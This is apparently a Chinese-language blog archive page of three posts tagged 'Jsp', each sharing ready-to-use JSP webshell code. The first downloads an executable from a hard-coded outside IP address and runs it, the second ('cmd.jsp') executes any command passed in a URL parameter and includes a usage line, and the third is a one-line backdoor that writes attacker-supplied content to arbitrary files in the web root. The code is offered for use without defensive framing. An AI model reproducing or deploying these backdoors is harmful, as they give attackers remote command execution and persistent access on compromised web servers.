存档

文章标签 ‘Jsp’

JSP下载并执行代码

2009年6月25日 没有评论 73 views

代码如下:

<%@ page import="java.io.*, java.net.*" %>    
<%     
try {    
    //String exe = request.getParameter("exe");    
    String urlname = "http://58.103.196.210:8080/webdav/ip.exe";    
    URL url = new URL(urlname);    
    URLConnection conn = url.openConnection();    
    String filename = new String("caa.exe");    
    FileOutputStream outf = new FileOutputStream(filename);    
    conn.setDoInput(true);    
    InputStream inStream = conn.getInputStream();    
    BufferedInputStream input = new BufferedInputStream(inStream);    
    byte[] b = new byte[1024];    
    int a = 0;    
    while((a = input.read(b,0,b.length)) != -1){    
        outf.write(b,0,a);    
    }    
    outf.flush();    
    input.close();    
    outf.close();    
   
    //run the exe    
    Process child = Runtime.getRuntime().exec(filename);    
}    
    catch (IOException e){     
    System.err.println(e);     
}     
%>   

分类: 技术文章 标签:

cmd.jsp 经典版

2008年11月17日 没有评论 109 views

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用法:cmd.jsp?cmd=你要执行的命令

分类: 技术文章 标签:

JSP一句话后门

2006年9月21日 没有评论 56 views

信息来源:s0n9'5 B1o9

java是 面向对象编程的语言了! 啥都是对象!基于编译与解析之间~~-_- ... 估计没有eval execute这样功能的函数了!...但是还是可以留一句话后门的 本来我想用反射实现 像 eval这样的功能.....但是失败了!郁闷!

后来没有办法~~ 算了~~ 这样实现吧!

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

分类: 技术文章 标签: